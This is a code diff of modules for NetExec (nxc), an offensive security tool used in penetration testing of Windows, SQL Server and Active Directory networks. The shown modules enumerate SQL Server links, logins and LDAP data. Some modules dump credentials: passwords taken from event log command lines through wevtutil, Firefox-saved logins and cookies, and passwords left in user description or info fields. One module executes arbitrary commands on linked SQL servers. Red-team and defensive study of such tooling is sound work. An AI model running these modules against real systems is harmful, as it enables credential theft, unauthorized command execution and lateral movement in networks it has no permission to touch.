+            context.log.error(f"Failed to connect to the target: {e!s}")

nxc/modules/enum_links.py

@@ -0,0 +1,55 @@
+from nxc.helpers.misc import CATEGORY
+
+
+class NXCModule:
+    """
+    Enumerate SQL Server linked servers
+    Module by deathflamingo, NeffIsBack
+    """
+
+    name = "enum_links"
+    description = "Enumerate linked SQL Servers and their login configurations."
+    supported_protocols = ["mssql"]
+    category = CATEGORY.ENUMERATION
+
+    def __init__(self):
+        self.mssql_conn = None
+        self.context = None
+
+    def options(self, context, module_options):
+        pass
+
+    def on_login(self, context, connection):
+        self.context = context
+        self.mssql_conn = connection.conn
+        linked_servers = self.get_linked_servers()
+        if linked_servers:
+            self.context.log.success("Linked servers found:")
+            for server in linked_servers:
+                self.context.log.display(f"  - {server}")
+        else:
+            self.context.log.fail("No linked servers found.")
+
+        if connection.admin_privs:
+            res = self.mssql_conn.sql_query("EXEC sp_helplinkedsrvlogin")
+            srvs = [srv for srv in res if srv["Local Login"] is not None]
+            if not srvs:
+                self.context.log.fail("No linked servers found.")
+                return
+            self.context.log.success("Linked servers found:")
+            for srv in srvs:
+                self.context.log.display(f"Linked server: {srv['Linked Server']}")
+                self.context.log.display(f"  - Local login: {srv['Local Login']}")
+                self.context.log.display(f"  - Remote login: {srv['Remote Login']}")
+
+    def get_linked_servers(self) -> list:
+        """
+        Fetches a list of linked servers.
+
+        Returns
+        -------
+        list: List of linked server names.
+        """
+        query = "EXEC sp_linkedservers;"
+        res = self.mssql_conn.sql_query(query)
+        return [server["SRV_NAME"] for server in res] if res else []

nxc/modules/enum_logins.py

@@ -0,0 +1,87 @@
+from nxc.helpers.misc import CATEGORY
+
+
+class NXCModule:
+    """
+    Enumerate SQL Server logins (SQL, Domain, Local users)
+    Module by deathflamingo, modified by mpgn
+    """
+
+    name = "enum_logins"
+    description = "Enumerate SQL Server logins (SQL, Domain, Local users)"
+    supported_protocols = ["mssql"]
+    category = CATEGORY.ENUMERATION
+
+    def __init__(self):
+        self.mssql_conn = None
+        self.context = None
+
+    def on_login(self, context, connection):
+        self.context = context
+        self.mssql_conn = connection.conn
+
+        logins = self.get_logins()
+        if logins:
+            self.context.log.display("Enumerated logins")
+            self.context.log.highlight(f"{'Login Name':<35} {'Type':<15} {'Status'}")
+            self.context.log.highlight(f"{'----------':<35} {'----':<15} {'------'}")
+            for login_name, login_type, status in logins:
+                self.context.log.highlight(f"{login_name:<35} {login_type:<15} {status}")
+        else:
+            self.context.log.fail("No logins found.")
+
+    def get_domain_name(self) -> str:
+        query = "SELECT DEFAULT_DOMAIN() as domain_name;"
+        try:
+            res = self.mssql_conn.sql_query(query)
+            if res and res[0].get("domain_name"):
+                return res[0]["domain_name"].upper()
+            return ""
+        except Exception as e:
+            self.context.log.debug(f"Error querying domain name: {e}")
+            return ""
+
+    def get_logins(self) -> list:
+        domain_name = self.get_domain_name()
+        domain_prefix = f"{domain_name}\\" if domain_name else ""
+
+        query = f"""
+        SELECT
+            name,
+            type,
+            type_desc,
+            CASE type_desc
+                WHEN 'SQL_LOGIN' THEN 'SQL User'
+                WHEN 'WINDOWS_LOGIN' THEN
+                    CASE
+                        WHEN name LIKE '{domain_prefix}%' THEN 'Domain User'
+                        WHEN name LIKE '%\\%' THEN 'Local User'
+                        ELSE 'Local User'
+                    END
+                WHEN 'WINDOWS_GROUP' THEN 'Windows Group'
+                WHEN 'CERTIFICATE_MAPPED_LOGIN' THEN 'Certificate Login'
+                WHEN 'ASYMMETRIC_KEY_MAPPED_LOGIN' THEN 'Asymmetric Key Login'
+                ELSE type_desc
+            END as login_type,
+            is_disabled,
+            create_date
+        FROM sys.server_principals
+        WHERE type IN ('S', 'U', 'G', 'C', 'K')
+        AND name NOT LIKE '##%'
+        ORDER BY login_type, name;
+        """
+        try:
+            res = self.mssql_conn.sql_query(query)
+            if res:
+                logins = []
+                for login in res:
+                    status = "DISABLED" if login.get("is_disabled") else "ENABLED"
+                    logins.append((login["name"], login["login_type"], status))
+                return logins
+            return []
+        except Exception as e:
+            self.context.log.fail(f"Error querying logins: {e}")
+            return []
+
+    def options(self, context, module_options):
+        pass

nxc/modules/enum_trusts.py

@@ -0,0 +1,20 @@
+
+from nxc.helpers.misc import CATEGORY
+
+
+class NXCModule:
+    """
+    Extract all Trust Relationships, Trusting Direction, and Trust Transitivity
+    Module by Brandon Fisher @shad0wcntr0ller
+    """
+
+    name = "enum_trusts"
+    description = "[REMOVED] Extract all Trust Relationships, Trusting Direction, and Trust Transitivity"
+    supported_protocols = ["ldap"]
+    category = CATEGORY.ENUMERATION
+
+    def options(self, context, module_options):
+        pass
+
+    def on_login(self, context, connection):
+        context.log.fail("[REMOVED] This module moved to the --dc-list LDAP flag.")

nxc/modules/eventlog_creds.py

@@ -0,0 +1,198 @@
+import re
+from impacket.dcerpc.v5 import even6
+from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_LEVEL_PKT_PRIVACY
+from impacket.dcerpc.v5.epm import hept_map
+from nxc.helpers.even6_parser import ResultSet
+from nxc.helpers.misc import CATEGORY
+from nxc.helpers.rpc import NXCRPCConnection
+
+
+class NXCModule:
+    """
+    Module by @lodos2005
+    This module extracts credentials from Windows logs. It uses Security Event ID: 4688 and SYSMON logs.
+    """
+    name = "eventlog_creds"
+    description = "Extracting Credentials From Windows Logs (Event ID: 4688 and SYSMON)"
+    supported_protocols = ["smb"]
+    category = CATEGORY.CREDENTIAL_DUMPING
+
+    def __init__(self):
+        self.context = None
+        self.module_options = None
+        self.method = "execute"
+        self.limit = None
+
+    def options(self, context, module_options):
+        """
+        METHOD         EventLog method (Execute or RPCCALL), default: execute
+        M              Alias for METHOD
+        LIMIT          Limit of the number of records to be fetched, default: unlimited
+        L              Alias for LIMIT
+        """
+        if "METHOD" in module_options:
+            self.method = module_options["METHOD"]
+        if "M" in module_options:
+            self.method = module_options["M"]
+        if "LIMIT" in module_options:
+            self.limit = int(module_options["LIMIT"])
+        if "L" in module_options:
+            self.limit = int(module_options["L"])
+
+    def find_credentials(self, content, context):
+        # remove unnecessary words
+        content = content.replace("\r\n", "\n")
+
+        # sort and unique lines
+        content = "\n".join(sorted(set(content.split("\n"))))
+
+        regexps = [
+            # "C:\Windows\system32\net.exe" user /add lodos2005 123456 /domain
+            r"net.+user\s+(?P<username>[^\s]+)\s+(?P<password>[^\s]+)",
+            # "C:\Windows\system32\net.exe" use \\server\share /user:contoso\lodos2005 password
+            r"net.+use.+/user:(?P<username>[^\s]+)\s+(?P<password>[^\s]+)",
+            # schtasks.exe /CREATE /S 192.168.20.05 /RU SYSTEM /U lodos2005@contoso /P "123456" /SC ONCE /ST 20:05 /TN Test /TR hostname /F
+            r"schtasks.+/U\s+(?P<username>[^\s]+).+/P\s+(?P<password>[^\s]+)",
+            # wmic.exe /node:192.168.20.05 /user:lodos2005@contoso /password:123456 computersystem get
+            r"wmic.+/user:\s*(?P<username>[^\s]+).+/password:\s*(?P<password>[^\s]+)",
+            # psexec \\192.168.20.05 -u lodos2005@contoso -p 123456 hostname
+            r"psexec.+-u\s+(?P<username>[^\s]+).+-p\s+(?P<password>[^\s]+)",
+            # generic username on command line
+            r"(?:(?:(?:-u)|(?:-user)|(?:-username)|(?:--user)|(?:--username)|(?:/u)|(?:/USER)|(?:/USERNAME))(?:\s+|\:)(?P<username>[^\s]+))",
+            # generic password on command line
+            r"(?:(?:(?:-p)|(?:-password)|(?:-passwd)|(?:--password)|(?:--passwd)|(?:/P)|(?:/PASSWD)|(?:/PASS)|(?:/CODE)|(?:/PASSWORD))(?:\s+|\:)(?P<password>[^\s]+))",
+        ]
+        # Extracting credentials
+        for line in content.split("\n"):
+            for reg in regexps:
+                # Remove unnecessary words
+                line_stripped = line.replace("/add", "") \
+                    .replace("/active:yes", "") \
+                    .replace("/delete", "") \
+                    .replace("/domain", "") \
+                # Remove command lines that were executed with nxc
+                line_stripped = re.sub(r"1> \\Windows\\Temp\\[\w]{6} 2>&1", "", line_stripped)
+
+                # Use regex to find credentials
+                match = re.search(reg, line_stripped, re.IGNORECASE)
+                if match:
+                    # eleminate false positives
+                    # C:\Windows\system32\svchost.exe -k DcomLaunch -p -s PlugPlay
+                    if not match.groupdict().get("username") and match.groupdict().get("password") and len(match.group("password")) < 6:
+                        # if password is found but username is not found, and password is shorter than 6 characters, ignore it
+                        continue
+                    if not match.groupdict().get("password") and match.groupdict().get("username"):
+                        # if username is found but password is not found. we need? ignore it
+                        continue
+                    # C:\Windows\system32\RunDll32.exe C:\Windows\system32\migration\WininetPlugin.dll,MigrateCacheForUser /m /0
+                    if match.groupdict().get("username") and match.groupdict().get("password") and len(match.group("password")) < 6 and len(match.group("username")) < 6:
+                        # if username and password is shorter than 6 characters, ignore it
+                        continue
+
+                    context.log.highlight("Credentials found! " + line.strip())
+                    if match.groupdict().get("username"):
+                        context.log.highlight("Username: " + match.group("username"))
+                    if match.groupdict().get("password"):
+                        context.log.highlight("Password: " + match.group("password"))
+                    break
+
+    def on_admin_login(self, context, connection):
+        content = ""
+        if self.method.lower().startswith("e"):
+            limit_str = f"/c:{self.limit}" if self.limit is not None else ""
+            # https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-10/security/threat-protection/auditing/event-4688
+            commands = [
+                f'wevtutil qe Microsoft-Windows-Sysmon/Operational {limit_str} /f:text  /rd:true /q:"*[System[(EventID=1)]]" | findstr "ParentCommandLine"',
+                f'wevtutil qe Security {limit_str} /f:text /rd:true /q:"*[System[(EventID=4688)]]" | findstr "Command Line"',
+            ]
+            for command in commands:
+                context.log.debug("Execute Command: " + command)
+                content += connection.execute(command, True)
+        else:
+            msevenclass = MSEven6Trigger(context)
+            target = connection.host if not connection.kerberos else connection.hostname + "." + connection.domain
+            msevenclass.connect(connection, target)
+            for record in msevenclass.query("\x00", '<QueryList><Query Id="0"><Select Path="Security">*[System/EventID=4688]</Select></Query><Query Id="0"><Select Path="Microsoft-Windows-Sysmon/Operational">*[System/EventID=1]</Select></Query></QueryList>\x00', self.limit):
+                if record is None:
+                    continue
+                try:
+                    xmlString = ResultSet(record).xml()
+                    regexp = r'CommandLine">(?P<CommandLine>(.|\n)*?)<\/Data>'
+                    match = re.search(regexp, xmlString, re.IGNORECASE)
+                    if match and match.groupdict().get("CommandLine"):
+                        content += "CommandLine: " + match.group("CommandLine") + "\n"
+                except Exception as e:
+                    context.log.error(f"Error: {e}")
+
+        self.find_credentials(content, context)
+
+
+class MSEven6Trigger:
+    def __init__(self, context):
+        self.context = context
+        self.dce = None
+
+    def connect(self, connection, target):
+        binding = hept_map(target, even6.MSRPC_UUID_EVEN6, protocol="ncacn_ip_tcp")
+        self.context.log.debug(f"Connecting to {target}...")
+        try:
+            self.dce = NXCRPCConnection(connection).connect(
+                None,
+                even6.MSRPC_UUID_EVEN6,
+                target_ip=target,
+                string_binding=binding,
+                auth_level=RPC_C_AUTHN_LEVEL_PKT_PRIVACY,
+            )
+            self.context.log.debug("[+] Successfully bound!")
+        except Exception as e:
+            self.context.log.debug(f"Something went wrong, check error status => {e!s}")
+            return
+
+    def query(self, path, query, limit):
+        req = even6.EvtRpcRegisterLogQuery()
+        req["Path"] = path + "\x00"
+        req["Query"] = query + "\x00"
+        req["Flags"] = even6.EvtQueryChannelName | even6.EvtReadNewestToOldest
+
+        resp = self.dce.request(req)
+        handle = resp["Handle"]
+
+        return MSEven6Result(self, handle, limit)
+
+
+class MSEven6Result:
+    def __init__(self, conn, handle, limit=None):
+        self._conn = conn
+        self._handle = handle
+        self._hardlimit = limit
+
+    def __iter__(self):
+        self._resp = None
+        return self
+
+    def __next__(self):
+        if self._hardlimit is not None:
+            self._hardlimit -= 1
+            if self._hardlimit < 0:
+                raise StopIteration
+        if self._resp is not None and self._resp["NumActualRecords"] == 0:
+            raise StopIteration
+
+        if self._resp is None or self._index == self._resp["NumActualRecords"]:
+            req = even6.EvtRpcQueryNext()
+            req["LogQuery"] = self._handle
+            req["NumRequestedRecords"] = 100
+            req["TimeOutEnd"] = 1000
+            req["Flags"] = 0
+            self._resp = self._conn.dce.request(req)
+
+            if self._resp["NumActualRecords"] == 0:
+                return None
+            else:
+                self._index = 0
+
+        offset = self._resp["EventDataIndices"][self._index]["Data"]
+        size = self._resp["EventDataSizes"][self._index]["Data"]
+        self._index += 1
+
+        return b"".join(self._resp["ResultBuffer"][offset:offset + size])

nxc/modules/example_module.py

@@ -1,3 +1,5 @@
+from nxc.helpers.misc import CATEGORY
+
 
 class NXCModule:
     """
@@ -9,17 +11,18 @@ class NXCModule:
     name = "example module"
     description = "I do something"
     supported_protocols = []  # Example: ['smb', 'mssql']
-    opsec_safe = True  # Does the module touch disk?
-    multiple_hosts = True  # Does it make sense to run this module on multiple hosts at a time?
+    category = CATEGORY.ENUMERATION  # Must be one of "Enumeration", "Privilege Escalation" or "Credential Dumping". Use what fits best.
 
-    def __init__(self, context=None, module_options=None):
-        self.context = context
-        self.module_options = module_options
+    def __init__(self):
+        self.context = None
+        self.module_options = None
 
     def options(self, context, module_options):
         """Required.
         Module options get parsed here. Additionally, put the modules usage here as well
         """
+        # Put "No options available" in the docstring if there are no options for the module
+        # Return False to abort the run if options are invalid (log with context.log.fail first).
 
     def on_login(self, context, connection):
         """Concurrent.
@@ -48,18 +51,3 @@ class NXCModule:
         Required if on_login is not present
         This gets called on each authenticated connection with  Administrative privileges
         """
-
-    def on_request(self, context, request):
-        """Optional.
-        If the payload needs to retrieve additional files, add this function to the module
-        """
-
-    def on_response(self, context, response):
-        """Optional.
-        If the payload sends back its output to our server, add this function to the module to handle its output
-        """
-
-    def on_shutdown(self, context, connection):
-        """Optional.
-        Do something on shutdown
-        """

nxc/modules/exec_on_link.py

@@ -0,0 +1,44 @@
+from nxc.helpers.misc import CATEGORY
+
+
+class NXCModule:
+    """
+    Execute commands on linked servers
+    Module by deathflamingo
+    """
+
+    name = "exec_on_link"
+    description = "Execute commands on a SQL Server linked server"
+    supported_protocols = ["mssql"]
+    category = CATEGORY.PRIVILEGE_ESCALATION
+
+    def __init__(self):
+        self.mssql_conn = None
+        self.context = None
+        self.linked_server = None
+        self.command = None
+
+    def options(self, context, module_options):
+        """
+        LINKED_SERVER: The name of the linked server to execute the command on.
+        COMMAND: The command to execute on the linked server.
+        """
+        if "LINKED_SERVER" in module_options:
+            self.linked_server = module_options["LINKED_SERVER"]
+        if "COMMAND" in module_options:
+            self.command = module_options["COMMAND"]
+
+    def on_login(self, context, connection):
+        self.context = context
+        self.mssql_conn = connection.conn
+        if not self.linked_server or not self.command:
+            self.context.log.fail("Please specify both LINKED_SERVER and COMMAND options.")
+            return
+
+        self.execute_on_link()
+
+    def execute_on_link(self):
+        """Executes the specified command on the linked server."""
+        query = f"EXEC ('{self.command}') AT [{self.linked_server}];"
+        result = self.mssql_conn.sql_query(query)
+        self.context.log.display(f"Command output: {result}")

nxc/modules/find-computer.py

@@ -1,4 +1,4 @@
-import socket
+from nxc.helpers.misc import CATEGORY
 from nxc.logger import nxc_logger
 from impacket.ldap.ldap import LDAPSearchError
 from impacket.ldap.ldapasn1 import SearchResultEntry
@@ -16,15 +16,15 @@ class NXCModule:
     name = "find-computer"
     description = "Finds computers in the domain via the provided text"
     supported_protocols = ["ldap"]
-    opsec_safe = True
-    multiple_hosts = False
+    category = CATEGORY.ENUMERATION
 
     def options(self, context, module_options):
         """
-        find-computer: Specify find-computer to call the module
-        TEXT: Specify the TEXT option to enter your text to search for
-        Usage: nxc ldap $DC-IP -u Username -p Password -M find-computer -o TEXT="server"
-               nxc ldap $DC-IP -u Username -p Password -M find-computer -o TEXT="SQL"
+        TEXT    Search TEXT in the operating system or name of the computer.
+
+        Examples:
+        nxc ldap $DC-IP -u Username -p Password -M find-computer -o TEXT="server"
+        nxc ldap $DC-IP -u Username -p Password -M find-computer -o TEXT="SQL"
         """
         self.TEXT = ""
 
@@ -35,11 +35,11 @@ class NXCModule:
             sys.exit(1)
 
     def on_login(self, context, connection):
-        search_filter = f"(&(objectCategory=computer)(&(|(operatingSystem=*{self.TEXT}*))(name=*{self.TEXT}*)))"
+        search_filter = f"(&(objectCategory=computer)(|(operatingSystem=*{self.TEXT}*)(name=*{self.TEXT}*)))"
 
         try:
             context.log.debug(f"Search Filter={search_filter}")
-            resp = connection.ldapConnection.search(searchFilter=search_filter, attributes=["dNSHostName", "operatingSystem"], sizeLimit=0)
+            resp = connection.ldap_connection.search(searchFilter=search_filter, attributes=["dNSHostName", "operatingSystem"], sizeLimit=0)
         except LDAPSearchError as e:
             if e.getErrorString().find("sizeLimitExceeded") >= 0:
                 context.log.debug("sizeLimitExceeded exception caught, giving up and processing the data received")
@@ -69,12 +69,12 @@ class NXCModule:
         if len(answers) > 0:
             context.log.success("Found the following computers: ")
             for answer in answers:
-                try:
-                    ip = socket.gethostbyname(answer[0])
-                    context.log.highlight(f"{answer[0]} ({answer[1]}) ({ip})")
-                    context.log.debug("IP found")
-                except socket.gaierror:
-                    context.log.debug("Missing IP")
+                resolv = connection.resolver(answer[0])
+                if resolv:
+                    context.log.highlight(f"{answer[0]} ({answer[1]}) ({resolv['host']})")
+                    context.log.debug("IP found via DNS query")
+                else:
+                    context.log.debug(f"No DNS response for {answer[0]}")
                     context.log.highlight(f"{answer[0]} ({answer[1]}) (No IP Found)")
         else:
             context.log.success(f"Unable to find any computers with the text {self.TEXT}")

nxc/modules/firefox.py

@@ -1,5 +1,6 @@
 from dploot.lib.target import Target
-from nxc.protocols.smb.firefox import FirefoxTriage
+from nxc.helpers.misc import CATEGORY
+from nxc.helpers.firefox import FirefoxCookie, FirefoxData, FirefoxTriage
 
 
 class NXCModule:
@@ -10,16 +11,23 @@ class NXCModule:
     """
 
     name = "firefox"
-    description = "Dump credentials from Firefox"
+    description = "[REMOVED] Dump credentials from Firefox"
     supported_protocols = ["smb"]
-    opsec_safe = True  # Does the module touch disk?
-    multiple_hosts = True  # Does it make sense to run this module on multiple hosts at a time?
+    category = CATEGORY.CREDENTIAL_DUMPING
 
     def options(self, context, module_options):
-        """Dump credentials from Firefox"""
+        """
+        [REMOVED] use the --dpapi flag instead of the module firefox.
+
+        COOKIES    Get also Firefox cookies
+        """
+        self.gather_cookies = "COOKIES" in module_options
 
     def on_admin_login(self, context, connection):
-        host = connection.hostname + "." + connection.domain
+        context.log.fail("[REMOVED] Use the --dpapi flag instead of the module firefox.")
+        return
+
+        host = connection.host if not connection.kerberos else connection.hostname + "." + connection.domain
         domain = connection.domain
         username = connection.username
         kerberos = connection.kerberos
@@ -41,19 +49,25 @@ class NXCModule:
             use_kcache=use_kcache,
         )
 
+        def firefox_callback(secret):
+            if isinstance(secret, FirefoxData):
+                url = secret.url + " -" if secret.url != "" else "-"
+                context.log.highlight(f"[{secret.winuser}] {url} {secret.username}:{secret.password}")
+                context.db.add_dpapi_secrets(
+                    target.address,
+                    "FIREFOX",
+                    secret.winuser,
+                    secret.username,
+                    secret.password,
+                    secret.url,
+                )
+            elif isinstance(secret, FirefoxCookie):
+                context.log.highlight(f"[{secret.winuser}] {secret.host}{secret.path} {secret.cookie_name}:{secret.cookie_value}")
+
         try:
             # Collect Firefox stored secrets
-            firefox_triage = FirefoxTriage(target=target, logger=context.log)
+            firefox_triage = FirefoxTriage(target=target, logger=context.log, per_secret_callback=firefox_callback)
             firefox_triage.upgrade_connection(connection=connection.conn)
-            firefox_credentials = firefox_triage.run()
-            for credential in firefox_credentials:
-                context.log.highlight(
-                    "[{}][FIREFOX] {} {}:{}".format(
-                        credential.winuser,
-                        credential.url + " -" if credential.url != "" else "-",
-                        credential.username,
-                        credential.password,
-                    )
-                )
+            firefox_triage.run(gather_cookies=self.gather_cookies)
         except Exception as e:
             context.log.debug(f"Error while looting firefox: {e}")

nxc/modules/get-desc-users.py

@@ -1,7 +1,8 @@
-from impacket.ldap import ldapasn1 as ldapasn1_impacket
 from impacket.ldap import ldap as ldap_impacket
 import re
+from nxc.helpers.misc import CATEGORY
 from nxc.logger import nxc_logger
+from nxc.parsers.ldap_results import parse_result_attributes
 
 
 class NXCModule:
@@ -11,10 +12,9 @@ class NXCModule:
     """
 
     name = "get-desc-users"
-    description = "Get description of the users. May contained password"
+    description = "Get description of the users. May contain password"
     supported_protocols = ["ldap"]
-    opsec_safe = True  # Does the module touch disk?
-    multiple_hosts = True  # Does it make sense to run this module on multiple hosts at a time?
+    category = CATEGORY.CREDENTIAL_DUMPING
 
     def options(self, context, module_options):
         """
@@ -31,7 +31,7 @@ class NXCModule:
             self.MINLENGTH = module_options["MINLENGTH"]
         if "PASSWORDPOLICY" in module_options:
             self.PASSWORDPOLICY = True
-            self.regex = re.compile("((?=[^ ]*[A-Z])(?=[^ ]*[a-z])(?=[^ ]*\d)|(?=[^ ]*[a-z])(?=[^ ]*\d)(?=[^ ]*[^\w \n])|(?=[^ ]*[A-Z])(?=[^ ]*\d)(?=[^ ]*[^\w \n])|(?=[^ ]*[A-Z])(?=[^ ]*[a-z])(?=[^ ]*[^\w \n]))[^ \n]{" + self.MINLENGTH + ",}")  # Credit : https://stackoverflow.com/questions/31191248/regex-password-must-have-at-least-3-of-the-4-of-the-following
+            self.regex = re.compile(r"((?=[^ ]*[A-Z])(?=[^ ]*[a-z])(?=[^ ]*\d)|(?=[^ ]*[a-z])(?=[^ ]*\d)(?=[^ ]*[^\w \n])|(?=[^ ]*[A-Z])(?=[^ ]*\d)(?=[^ ]*[^\w \n])|(?=[^ ]*[A-Z])(?=[^ ]*[a-z])(?=[^ ]*[^\w \n]))[^ \n]{" + self.MINLENGTH + ",}$")  # Credit : https://stackoverflow.com/questions/31191248/regex-password-must-have-at-least-3-of-the-4-of-the-following
 
     def on_login(self, context, connection):
         """Concurrent. Required if on_admin_login is not present. This gets called on each authenticated connection"""
@@ -40,7 +40,7 @@ class NXCModule:
 
         try:
             context.log.debug(f"Search Filter={searchFilter}")
-            resp = connection.ldapConnection.search(
+            resp = connection.ldap_connection.search(
                 searchFilter=searchFilter,
                 attributes=["sAMAccountName", "description"],
                 sizeLimit=0,
@@ -55,29 +55,15 @@ class NXCModule:
                 nxc_logger.debug(e)
                 return False
 
-        answers = []
         context.log.debug(f"Total of records returned {len(resp)}")
-        for item in resp:
-            if isinstance(item, ldapasn1_impacket.SearchResultEntry) is not True:
-                continue
-            sAMAccountName = ""
-            description = ""
-            try:
-                for attribute in item["attributes"]:
-                    if str(attribute["type"]) == "sAMAccountName":
-                        sAMAccountName = str(attribute["vals"][0])
-                    elif str(attribute["type"]) == "description":
-                        description = attribute["vals"][0]
-                if sAMAccountName != "" and description != "":
-                    answers.append([sAMAccountName, description])
-            except Exception as e:
-                context.log.debug("Exception:", exc_info=True)
-                context.log.debug(f"Skipping item, cannot process due to error {e!s}")
+        resp_parsed = parse_result_attributes(resp)
+        answers = [[x["sAMAccountName"], x.get("description")] for x in resp_parsed if x.get("description")]
+
         answers = self.filter_answer(context, answers)
         if len(answers) > 0:
             context.log.success("Found following users: ")
             for answer in answers:
-                context.log.highlight(f"User: {answer[0]} description: {answer[1]}")
+                context.log.highlight(f"User: {answer[0]:<20} description: {answer[1]}")
 
     def filter_answer(self, context, answers):
         # No option to filter
@@ -102,6 +88,11 @@ class NXCModule:
                     if self.regex.search(description):
                         conditionPasswordPolicy = True
 
-                if (conditionFilter == self.FILTER) and (conditionPasswordPolicy == self.PASSWORDPOLICY):
+                if conditionFilter and not self.PASSWORDPOLICY:
+                    context.log.highlight(f"'{self.FILTER}' found in description: '{description}'")
+                elif (self.FILTER == "" and (conditionPasswordPolicy == self.PASSWORDPOLICY)):
                     answersFiltered.append([answer[0], description])
+                elif (self.FILTER != "" and conditionFilter) and (conditionPasswordPolicy == self.PASSWORDPOLICY):
+                    context.log.highlight(f"'{self.FILTER}' found in user: '{answer[0]}' description: '{description}'")
+
         return answersFiltered

nxc/modules/get-info-users.py

@@ -0,0 +1,45 @@
+from nxc.helpers.misc import CATEGORY
+from nxc.parsers.ldap_results import parse_result_attributes
+
+
+class NXCModule:
+    """
+    Get the info field of users
+    Module by @sepauli
+    """
+    name = "get-info-users"
+    description = "Get the info field of all users. May contain password"
+    supported_protocols = ["ldap"]
+    category = CATEGORY.CREDENTIAL_DUMPING
+
+    def options(self, context, module_options):
+        """FILTER    Apply the FILTER (grep-like) (default: '')"""
+        self.FILTER = ""
+        if "FILTER" in module_options:
+            self.FILTER = module_options["FILTER"]
+
+    def on_login(self, context, connection):
+        # Building the search filter
+        resp = connection.search(
+            searchFilter="(info=*)",
+            attributes=["sAMAccountName", "info"]
+        )
+
+        context.log.debug(f"Total of records returned {len(resp)}")
+        resp_parsed = parse_result_attributes(resp)
+        answers = [[x["sAMAccountName"], x["info"]] for x in resp_parsed]
+
+        answers = self.filter_answer(context, answers)
+        if answers:
+            context.log.success("Found following users: ")
+            for answer in answers:
+                context.log.highlight(f"User: {answer[0]:<20} Info: {answer[1]}")
+
+    def filter_answer(self, context, answers):
+        # No option to filter
+        if not self.FILTER:
+            context.log.debug("No filter option enabled")
+            return answers
+        # Filter
+        context.log.debug(f"Filter info field with: {self.FILTER}")
+        return [answer for answer in answers if self.FILTER in answer[1]]

nxc/modules/get-network.py

@@ -2,49 +2,20 @@
 # Credit to https://github.com/dirkjanm/adidnsdump @_dirkjan
 # module by @mpgn_x64
 import re
-from os.path import expanduser
-import codecs
 import socket
 from datetime import datetime
 from struct import unpack
 
-import dns.name
-import dns.resolver
-from impacket.ldap import ldap
 from impacket.structure import Structure
-from impacket.ldap import ldapasn1 as ldapasn1_impacket
-from ldap3 import LEVEL
+from os.path import expanduser, join
+from nxc.helpers.misc import CATEGORY
+from nxc.helpers.path import sanitize_path_component
+from nxc.paths import NXC_PATH
+from nxc.parsers.ldap_results import parse_result_attributes
 
 
-def get_dns_zones(connection, root, debug=False):
-    connection.search(root, "(objectClass=dnsZone)", search_scope=LEVEL, attributes=["dc"])
-    zones = []
-    for entry in connection.response:
-        if entry["type"] != "searchResEntry":
-            continue
-        zones.append(entry["attributes"]["dc"])
-    return zones
-
-
-def get_dns_resolver(server, context):
-    # Create a resolver object
-    dnsresolver = dns.resolver.Resolver()
-    # Is our host an IP? In that case make sure the server IP is used
-    # if not assume lookups are working already
-    try:
-        if server.startswith("ldap://"):
-            server = server[7:]
-        if server.startswith("ldaps://"):
-            server = server[8:]
-        socket.inet_aton(server)
-        dnsresolver.nameservers = [server]
-    except OSError:
-        context.info("Using System DNS to resolve unknown entries. Make sure resolving your target domain works here or specify an IP as target host to use that server for queries")
-    return dnsresolver
-
-
-def ldap2domain(ldap):
-    return re.sub(",DC=", ".", ldap[ldap.lower().find("dc="):], flags=re.I)[3:]
+def ldap2domain(baseDN):
+    return re.sub(r",DC=", ".", baseDN[baseDN.lower().find("dc="):], flags=re.IGNORECASE)[3:]
 
 
 def new_record(rtype, serial):
@@ -65,28 +36,29 @@ RECORD_TYPE_MAPPING = {
     5: "CNAME",
     6: "SOA",
     12: "PTR",
-    # 15: 'MX',
-    # 16: 'TXT',
+    15: "MX",
+    16: "TXT",
     28: "AAAA",
     33: "SRV",
 }
 
-
-def searchResEntry_to_dict(results):
-    data = {}
-    for attr in results["attributes"]:
-        key = str(attr["type"])
-        value = str(attr["vals"][0])
-        data[key] = value
-    return data
+ZERO = 0
+A = 1
+NS = 2
+CNAME = 5
+SOA = 6
+PTR = 12
+MX = 15
+TXT = 16
+AAAA = 28
+SRV = 33
 
 
 class NXCModule:
     name = "get-network"
     description = "Query all DNS records with the corresponding IP from the domain."
     supported_protocols = ["ldap"]
-    opsec_safe = True
-    multiple_hosts = True
+    category = CATEGORY.ENUMERATION
 
     def options(self, context, module_options):
         """
@@ -95,61 +67,44 @@ class NXCModule:
         """
         self.showall = False
         self.showhosts = False
-        self.showip = True
 
         if module_options and "ALL" in module_options:
             if module_options["ALL"].lower() == "true" or module_options["ALL"] == "1":
                 self.showall = True
             else:
-                print("Could not parse ALL option.")
-        if module_options and "IP" in module_options:
-            if module_options["IP"].lower() == "true" or module_options["IP"] == "1":
-                self.showip = True
-            else:
-                print("Could not parse ONLY_HOSTS option.")
+                context.log.display("Could not parse ALL option.")
         if module_options and "ONLY_HOSTS" in module_options:
             if module_options["ONLY_HOSTS"].lower() == "true" or module_options["ONLY_HOSTS"] == "1":
                 self.showhosts = True
             else:
-                print("Could not parse ONLY_HOSTS option.")
+                context.log.display("Could not parse ONLY_HOSTS option.")
 
     def on_login(self, context, connection):
         zone = ldap2domain(connection.baseDN)
         dns_root = f"CN=MicrosoftDNS,DC=DomainDnsZones,{connection.baseDN}"
         search_target = f"DC={zone},{dns_root}"
         context.log.display("Querying zone for records")
-        sfilter = "(DC=*)"
 
-        try:
-            list_sites = connection.ldapConnection.search(
-                searchBase=search_target,
-                searchFilter=sfilter,
-                attributes=["dnsRecord", "dNSTombstoned", "name"],
-                sizeLimit=100000,
-            )
-        except ldap.LDAPSearchError as e:
-            if e.getErrorString().find("sizeLimitExceeded") >= 0:
-                context.log.debug("sizeLimitExceeded exception caught, giving up and processing the data received")
-                # We reached the sizeLimit, process the answers we have already and that's it. Until we implement
-                # paged queries
-                list_sites = e.getAnswers()
-            else:
-                raise
-        get_dns_resolver(connection.host, context.log)
+        list_sites = connection.search(
+            searchFilter="(DC=*)",
+            attributes=["dnsRecord", "dNSTombstoned", "name"],
+            baseDN=search_target,
+        )
+        list_sites_parsed = parse_result_attributes(list_sites)
 
         outdata = []
-
-        for item in list_sites:
-            if isinstance(item, ldapasn1_impacket.SearchResultEntry) is not True:
-                continue
-            site = searchResEntry_to_dict(item)
+        for site in list_sites_parsed:
             recordname = site["name"]
 
             if "dnsRecord" in site:
-                record = bytes(site["dnsRecord"].encode("latin1"))
-                dr = DNS_RECORD(record)
-                if RECORD_TYPE_MAPPING[dr["Type"]] == "A":
